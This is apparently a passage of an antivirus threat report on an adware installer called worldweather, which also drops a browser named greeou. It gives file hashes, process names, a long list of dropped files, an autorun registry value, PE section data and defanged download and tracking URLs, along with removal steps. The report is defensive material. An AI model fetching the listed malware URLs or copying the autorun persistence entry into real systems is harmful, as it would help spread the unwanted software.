f22066ce95253bc57a054623a65eda06	c:\Program Files\worldweather\5.0.0.5002\sqlite3.dll
b81124b08acb34b432fae845335bce99	c:\Program Files\worldweather\5.0.0.5002\sqliteApi.dll
2a4c40c30da6bbccf03928dcb998193c	c:\Program Files\worldweather\5.0.0.5002\uninst.exe
f9e2d87db3700c704d8e7fffa0ab8985	c:\Program Files\worldweather\5.0.0.5002\worldWeatherRealTime5002.exe
f44c74c844114fa977315265813afb26	c:\Program Files\worldweather\5.0.0.5002\worldWeatherUpdate.5002.exe
7eab31806313acd8429450e72c294442	c:\Program Files\worldweather\5.0.0.5002\worldweather.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   worldweather.exe:2452
   worldWeatherUpdate.5002.exe:2896
   365weatherIns_61.exe:408
   greendou.exe:772
   worldWeatherRealTime5002.exe:2408
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\All Users\Application Data\worldweather\Cfg5002.ini (288 bytes)
   %Program Files%\worldweather\5.0.0.5002\Cfg5002.ini (216 bytes)
   %Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
   %Program Files%\worldweather\5.0.0.5002\weatherData.tmp (354 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@uujzy[1].txt (139 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\369[1].ico (16369 bytes)
   %Documents and Settings%\All Users\Application Data\worldweather\PM10Context\PM10Context.db.!mv (835 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\PM10Context[1].xml (835 bytes)
   %Documents and Settings%\All Users\Application Data\worldweather\AQIContext\AQIContext.db.!mv (365 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\WeatherContext[1].xml (509 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\PM25Context[1].xml (624 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@sina.com[1].txt (196 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\common\366.ico.!mv (16369 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\AQIContext[1].xml (365 bytes)
   %Documents and Settings%\All Users\Application Data\worldweather\PM25Context\PM25Context.db.!mv (624 bytes)
   %Documents and Settings%\All Users\Application Data\worldweather\WeatherContext\WeatherContext.db.!mv (509 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\common\369.ico.!mv (16369 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\366[1].ico (16369 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\System.dll (11 bytes)
   %Program Files%\worldweather\5.0.0.5002\PM10.5002.exe (7192 bytes)
   %Program Files%\worldweather\5.0.0.5002\weather.db (6584 bytes)
   %Program Files%\worldweather\5.0.0.5002\uninst.exe (2251 bytes)
   %Program Files%\worldweather\5.0.0.5002\updateContext\un_update.html (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\ToggleImages.html (1 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\default\btn_move.jpg (1 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\default\bg_large.png (9 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\btn_next.bmp (2392 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\default\btn_max.jpg (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsb4.tmp (80589 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\common\future\n99.png (6 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\common\future\tips.ico (1856 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\loading1.bmp (696 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\tongji_61[1].htm (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\KillProcDLL.dll (4 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\common\err.png (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\checkbox1.bmp (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\tongji.html (2 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\default\btn_min.jpg (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\inetc.dll (784 bytes)
   %Program Files%\worldweather\5.0.0.5002\areacode.db (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\2.jpg (1552 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\btn_close.bmp (1 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\common\min.png (440 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\bg.bmp (18424 bytes)
   %Program Files%\worldweather\5.0.0.5002\updateContext\i.gif (170 bytes)
   %Program Files%\worldweather\5.0.0.5002\updateContext\loading.gif (8 bytes)
   %Program Files%\worldweather\5.0.0.5002\sqliteApi.dll (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\3.jpg (1552 bytes)
   %Program Files%\worldweather\5.0.0.5002\worldWeatherRealTime5002.exe (4992 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\default\bg_small.png (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\nsWindows.dll (10 bytes)
   %Program Files%\worldweather\5.0.0.5002\updateContext\update.html (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\nsDialogs.dll (9 bytes)
   %Documents and Settings%\All Users\Start Menu\Programs\worldweather\´óÖÚÌìÆøÔ¤±¨Ð¶ÔØ.lnk (911 bytes)
   %Program Files%\worldweather\5.0.0.5002\worldweather.exe (19096 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\md5dll.dll (8 bytes)
   %Program Files%\worldweather\5.0.0.5002\updateContext\updateRecord.db (1 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\common\loading.png (3 bytes)
   %Documents and Settings%\All Users\Start Menu\Programs\worldweather\´óÖÚÌìÆøÔ¤±¨.lnk (943 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\checkbox2.bmp (2 bytes)
   %Program Files%\worldweather\5.0.0.5002\AQI.5002.exe (7192 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\loading2.bmp (696 bytes)
   %Program Files%\worldweather\5.0.0.5002\WeatherContext\WeatherContext.db (352 bytes)
   %Program Files%\worldweather\5.0.0.5002\worldWeatherUpdate.5002.exe (11344 bytes)
   %Program Files%\worldweather\5.0.0.5002\sqlite3.dll (20416 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\1.jpg (1552 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\common\large\n99.png (784 bytes)
   %Program Files%\worldweather\5.0.0.5002\PM25.5002.exe (11344 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\default\btn_setting.jpg (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\SkinBtn.dll (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\btn_complete.bmp (2392 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\common\kz.png (3 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\common\close.png (873 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\default\skin.xml (6 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\default\btn_close.jpg (3 bytes)
   %Program Files%\worldweather\5.0.0.5002\skins\common\topbar.png (3 bytes)
   %Program Files%\worldweather\5.0.0.5002\mfc5002.dll (5520 bytes)
   %Documents and Settings%\All Users\Application Data\worldweather\updateContext\updateRecord.db (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\citydata[2].js (7666 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\skin_[1].css (21 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\123.sogou[2] (10367 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\guide_tip[1].png (1459 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\VGX6.tmp (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\lk_jumei[1].png (731 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\titlebg[1].png (50 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\main[1].js (6192 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\v33_sugg_ajaj_v40_3[2].js (1187 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\foot_slider[1].jpg (322 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\ufo2[1].js (17536 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\20140512170407_319[1].jpg (232 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\DD_belatedPNG_0.0.8a-min[2].js (1208 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\20130820165531_481[1].gif (50 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\selogo_111207[1].png (1848 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\main[2].js (2605 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\skin2_0[1].gif (592 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\20140508103513_537[1].gif (6813 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\20140512170546_833[1].jpg (232 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@123.sogou[2].txt (1879 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@sogou[2].txt (640 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\skin3[1].gif (1314 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@123.sogou[1].txt (1398 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\fine_cloudy[1].gif (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\citydata[1].js (7992 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\_ads_2[2].js (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\v53_2icos[1].gif (50 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\favicon[1].ico (1 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@sogou[1].txt (774 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\123.sogou[1].htm (7472 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\setskinbg[1].gif (397 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\fbg_about[1].png (805 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\cloudy[1].gif (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\v53_arrow_h[1].gif (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\v53_123n[2].js (4349 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\img-video-2[1].gif (225 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\DD_belatedPNG_0.0.8a-min[1].js (217 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\get_tj[1].php (1199 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\20140513112717_7[1].jpg (3852 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\guide_tip[1].png (2319 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\hotdata[1].js (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\skin_tips_n1[1].gif (1 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@wan.sogou[1].txt (191 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\setting_icon[1].gif (76 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\rec[1].do (374 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\get_123_v53[1].php (16030 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\subnav_v41[1].png (682 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\20140512112800_851[1].jpg (2380 bytes)
   %Program Files%\greeou\profile\Defaults\last.ini (2306 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\20130531144119_126[1].png (3810 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\v53_bicos[1].gif (826 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\v33_sugg_ajaj_v40_3[1].js (1352 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\hotdata[2].js (8 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\logo_1112293[1].gif (866 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\search_arrow[1].gif (447 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\i-ico-2b[1].png (173 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\icon4[1].gif (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\_ads_2[1].js (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\ufo2[2].js (19464 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\20140507144656_823[1].jpg (783 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\fIXLig2wT89333[1].jpg (2500 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\selogo_111207[2].png (1606 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\selogo_111207[1].png (2008 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\v53_123n[1].js (4851 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\img-news[1].gif (225 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\new-ico[1].png (211 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\1oq9Gg9Y3L8813[1].jpg (1492 bytes)
   %Program Files%\greeou\profile\Defaults\config.ini (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\20140507144124_693[1].jpg (232 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\new-erweima2[1].png (2985 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\processwork.dll (6140 bytes)
   %Program Files%\greeou\skin\Default\control\tab_hover.png (346 bytes)
   %Program Files%\greeou\skin\Default\control\tab_bg.png (314 bytes)
   %Program Files%\greeou\skin\Default\toolbar\24_new3.png (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\System.dll (11 bytes)
   %Program Files%\greeou\skin\Default\misc\16_ad_hunter.png (716 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\365weatherIns_61.exe (119257 bytes)
   %Program Files%\greeou\profile\Template\start\style.css (3 bytes)
   %Program Files%\greeou\skin\Default\control\tab_sidebar.png (321 bytes)
   %Program Files%\greeou\skin\Default\toolbar\16_favorites2.png (696 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\Md5dll.dll (8 bytes)
   %Program Files%\greeou\skin\Default\control\MenuItem_Hover.png (2 bytes)
   %Program Files%\greeou\skin\Default\misc\24_go.png (650 bytes)
   %Program Files%\greeou\skin\Default\misc\16_open_in_bg.png (507 bytes)
   %Program Files%\greeou\skin\Default\toolbar\16_favorites.png (700 bytes)
   %Program Files%\greeou\profile\Defaults\CommandBars.ini (1 bytes)
   %Program Files%\greeou\skin\Default\mskin.ini (10 bytes)
   %Program Files%\greeou\GreenDou.exe (25123 bytes)
   %Program Files%\greeou\skin\Default\control\status_bar_bg.png (445 bytes)
   %Program Files%\greeou\skin\Default\control\combo_dropdown_hover.png (774 bytes)
   %Program Files%\greeou\skin\Default\toolbar\24_forward.png (947 bytes)
   %Program Files%\greeou\skin\Default\control\win_minimize.png (202 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\NSISdl.dll (14 bytes)
   %Program Files%\greeou\skin\Default\toolbar\24_refresh.png (1 bytes)
   %Program Files%\greeou\skin\Default\control\combo_dropdown.png (794 bytes)
   %Program Files%\greeou\profile\Template\start\images\logo.gif (3 bytes)
   %Program Files%\greeou\skin\Default\control\Button_Pressed.png (1 bytes)
   %Program Files%\greeou\profile\Template\start\index.html (832 bytes)
   %Program Files%\greeou\skin\Default\toolbar\24_home.png (1 bytes)
   %Program Files%\greeou\skin\Default\misc\16_website_info.png (1 bytes)
   %Program Files%\greeou\skin\Default\toolbar\24_new.png (879 bytes)
   %Program Files%\greeou\skin\Default\control\title_bg.png (655 bytes)
   %Program Files%\greeou\skin\Default\toolbar\24_home2.png (1 bytes)
   %Program Files%\greeou\profile\Template\start\images\header_logo.gif (2 bytes)
   %Program Files%\greeou\skin\Default\shared\16_edit.png (646 bytes)
   %Program Files%\greeou\skin\Default\toolbar\24_back3.png (1 bytes)
   %Program Files%\greeou\skin\Default\toolbar\24_stop2.png (1 bytes)
   %Program Files%\greeou\profile\SearchEngine\config.ini (226 bytes)
   %Program Files%\greeou\skin\Default\toolbar\16_new2.png (801 bytes)
   %Program Files%\greeou\skin\Default\toolbar\16_page_zoom2.png (724 bytes)
   %Program Files%\greeou\profile\Template\start\images\dian.gif (376 bytes)
   %Program Files%\greeou\skin\Default\control\win_close.png (362 bytes)
   %Program Files%\greeou\skin\Default\toolbar\24_refresh2.png (1 bytes)
   %Program Files%\greeou\profile\Template\start\images\header_bg.gif (83 bytes)
   %Program Files%\greeou\skin\Default\control\tab_active.png (1 bytes)
   %Program Files%\greeou\skin\Default\control\mainframe.png (288 bytes)
   %Program Files%\greeou\skin\Default\toolbar\24_back2.png (1 bytes)
   %Program Files%\greeou\skin\Default\control\tab_inactive.png (281 bytes)
   %Program Files%\greeou\skin\Default\control\sidebar_tab_inactive.png (259 bytes)
   %Program Files%\greeou\skin\Default\misc\16_folder_open.png (614 bytes)
   %Program Files%\greeou\skin\Default\toolbar\16_search.png (871 bytes)
   %Program Files%\greeou\skin\Default\control\combosearch_dropdown.png (794 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\open.ini (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\setup_a7158.exe (354562 bytes)
   %Program Files%\greeou\skin\Default\toolbar\16_search2.png (969 bytes)
   %Program Files%\greeou\skin\Default\control\win_maximum.png (275 bytes)
   %Program Files%\greeou\skin\Default\toolbar\16_new.png (637 bytes)
   %Program Files%\greeou\skin\Default\toolbar\16_page_zoom.png (733 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\Inetc.dll (20 bytes)
   %Program Files%\greeou\skin\Default\control\tab_sidebar_hover.png (322 bytes)
   %Program Files%\greeou\skin\Default\control\sidebar_tab_active.png (957 bytes)
   %Program Files%\greeou\skin\Default\control\progress.png (708 bytes)
   %Program Files%\greeou\skin\Default\toolbar\24_back.png (953 bytes)
   %Program Files%\greeou\skin\Default\control\combo.png (260 bytes)
   %Program Files%\greeou\profile\SearchEngine\google.ico (1 bytes)
   %Program Files%\greeou\skin\Default\control\tab_new.png (350 bytes)
   %Program Files%\greeou\skin\Default\control\combosearch_dropdown_hover.png (774 bytes)
   %Program Files%\greeou\profile\Template\start\left.html (1 bytes)
   %Program Files%\greeou\skin\Default\toolbar\24_forward2.png (1 bytes)
   %Program Files%\greeou\skin\Default\control\skin_selector.png (283 bytes)
   %Program Files%\greeou\skin\Default\control\win_restore.png (302 bytes)
   %Program Files%\greeou\skin\Default\control\Button_Checked.png (976 bytes)
   %Program Files%\greeou\skin\Default\misc\16_page.png (519 bytes)
   %Program Files%\greeou\skin\Default\control\tab_close.png (259 bytes)
   %Program Files%\greeou\skin\Default\toolbar\16_history2.png (994 bytes)
   %Program Files%\greeou\skin\Default\toolbar\16_undo2.png (840 bytes)
   %Program Files%\greeou\skin\Default\control\tab_new_hover.png (346 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\xID.dll (3 bytes)
   %Program Files%\greeou\profile\SearchEngine\taobao.ico (1 bytes)
   %Program Files%\greeou\skin\Default\control\Button_Hover.png (1 bytes)
   %Program Files%\greeou\skin\Default\toolbar\24_new2.png (1 bytes)
   %Program Files%\greeou\skin\Default\misc\16_folder_closed.png (587 bytes)
   %Program Files%\greeou\skin\Default\toolbar\24_stop.png (1 bytes)
   %Program Files%\greeou\skin\Default\shared\16_new.png (650 bytes)
   %Documents and Settings%\%current user%\Start Menu\Programs\Â̶¹ä¯ÀÀÆ÷\Â̶¹ä¯ÀÀÆ÷.lnk (678 bytes)
   %Documents and Settings%\%current user%\Desktop\Â̶¹ä¯ÀÀÆ÷.lnk (666 bytes)
   %Program Files%\greeou\skin\Default\toolbar\16_history.png (847 bytes)
   %Program Files%\greeou\skin\Default\toolbar\16_undo.png (748 bytes)
   %Program Files%\greeou\profile\SearchEngine\baidu.ico (2 bytes)
   %Program Files%\greeou\skin\Default\misc\24_go2.png (648 bytes)
   %Program Files%\greeou\skin\Default\control\combo_hover.png (261 bytes)
   %Program Files%\greeou\skin\Default\control\tab_close_hover.png (2 bytes)
   %Program Files%\greeou\profile\Defaults\searchkeys.ini (14 bytes)
   %Program Files%\greeou\skin\Default\toolbar\24_forward3.png (1 bytes)
   %Program Files%\greeou\ico\taobao.ico (2104 bytes)
   %Program Files%\greeou\skin\Default\misc\16_open_in_new.png (548 bytes)
   %Program Files%\greeou\profile\Template\start\images\logo2.gif (596 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\nsRandom.dll (935 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "worldweather5002" = "%Program Files%\worldweather\5.0.0.5002\worldweather.exe /autorun"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: MeinV
Product Name: ?????
Product Version: 1.0.0.0
Legal Copyright: Corporation. All rights reserved.
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 1.0.0.0
File Description: Installer Application
Comments: http://hh8.xjtj.org
Language: Language Neutral

Company Name: MeinVProduct Name: ?????Product Version: 1.0.0.0Legal Copyright: Corporation. All rights reserved.Legal Trademarks: Original Filename: Internal Name: File Version: 1.0.0.0File Description: Installer ApplicationComments: http://hh8.xjtj.orgLanguage: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	23628	24064	4.46394	856b32eb77dfd6fb67f21d6543272da5
.rdata	28672	4764	5120	3.4982	dc77f8a1e6985a4361c55642680ddb4f
.data	36864	154712	1024	3.3278	7922d4ce117d7d5b3ac2cffe4b0b5e4f
.ndata	192512	81920	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	274432	226616	226816	4.99531	e4507cfd24e349a1798e0ce96876409d

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://lm.beilequ.com/update/365/365weatherIns_61.rar	122.225.100.200
hxxp://lvdou.300duo.com/favicon.ico	223.255.145.200
hxxp://lvdou.300duo.com/	223.255.145.200
hxxp://proxy.sogou.com/?22014
hxxp://njsh.cdn.sogou.com/kan/static/css/DD_belatedPNG_0.0.8a-min.js?t=
hxxp://proxy.sogou.com/css/skin_.css?V=cr
hxxp://njsh.cdn.sogou.com/imgn/v32/icon4.gif
hxxp://njsh.cdn.sogou.com/imgn/v32/selogo_111207.png
hxxp://njsh.cdn.sogou.com/v53/imgn/v53_2icos.gif
hxxp://proxy.sogou.com/v53/jsn/v53_123n.js?V=cr
hxxp://njsh.cdn.sogou.com/imgn/v32/skin3.gif
hxxp://njsh.cdn.sogou.com/imgn/sehome/tjv1/subnav_v41.png
hxxp://njsh.cdn.sogou.com/imgu/2014/05/20140508103513_537.gif
hxxp://njsh.cdn.sogou.com/imgn/v32/skin2_0.gif
hxxp://njsh.cdn.sogou.com/v53/imgn/v53_bicos.gif
hxxp://njsh.cdn.sogou.com/v53/imgn/v53_arrow_h.gif
hxxp://njsh.cdn.sogou.com/imgu/2013/05/20130531144119_126.png
hxxp://njsh.cdn.sogou.com/imgn/123ie/search_arrow.gif
hxxp://njsh.cdn.sogou.com/imgn/123ie/setting_icon.gif
hxxp://njsh.cdn.sogou.com/imgu/2013/08/20130820165531_481.gif
hxxp://njsh.cdn.sogou.com/v53/imgn/foot_slider.jpg
hxxp://proxy.sogou.com/dh/dhrc/rec.do?block=gamev2&jsonp=__yx2q&t=1&_stamp=1399956568915
hxxp://njsh.cdn.sogou.com/ads_hz/_ads_2.js?t=777753
hxxp://njsh.cdn.sogou.com/imgn/v32/titlebg.png
hxxp://proxy.sogou.com//v53/get_123_v53.php?block=wt&ver=v53&gfg=1&city=unknown&pid=Af22014&c=1399956570478&method=ajaf&cbf=fn
hxxp://proxy.sogou.com/jsn/hotdata.js?V=1399956570493
hxxp://njsh.cdn.sogou.com/imgn/v32/fbg_about.png
hxxp://njsh.cdn.sogou.com/imgn/tips/lk_jumei.png
hxxp://ctc.ping.sogou.com/pv.gif?uigs_productid=ufo&ufoid=ads&ptype=ads&pcode=ads&rdk=1399956570071&img=extra.gif&yyid=&ssuv=&m=&loc=&module=show&tag=62
hxxp://njsh.cdn.sogou.com/u/js/ufo2.js
hxxp://njsh.cdn.sogou.com/jsn/v33_sugg_ajaj_v40_3.js
hxxp://njsh.cdn.sogou.com/jsn/citydata.js
hxxp://ctc.ping.sogou.com/pv.gif?uigs_productid=ufo&ufoid=wan&ptype=jztf2&pcode=index&rdk=1399956570103&img=pv.gif&sourcelist=0011000100006_0011000100007_0011000100008_0011000100009_0011000100010_0011000100011&titlelist=风云无双_仙侠道_暗黑屠龙_Sogou傲剑2_万世_大闹天宫OL
hxxp://ctc.ping.sogou.com/pv.gif?uigs_productid=daohang&rdk=1399956570493&img=pv.gif&pars=?rand=1399956570493&suid=null&sduv=1399956570462_5852_00001&ckid=6846_00001_00000_3030_00000_00000&m=null&apid=null&sgtp=null&refer=&page=&pageUrl=http%3A%2F%2F123.sogou.com%2F%3F22014&loc=null&hp=-1&pid=Af22014&ptype=index&pcode=index&yyid=null&skin=null&ver=v53_ie6_cr__4&sys=100&ser=null&sev=null&time=3531
hxxp://njsh.cdn.sogou.com/imgn/tips/skin_tips_n1.gif
hxxp://njsh.cdn.sogou.com/imgn/v32/setskinbg.gif
hxxp://proxy.sogou.com/images/weather/cloudy.gif
hxxp://proxy.sogou.com/images/weather/fine_cloudy.gif
